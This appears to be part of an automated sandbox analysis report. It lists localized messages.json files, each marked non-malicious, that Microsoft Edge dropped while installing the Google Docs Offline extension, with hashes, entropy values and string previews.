File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
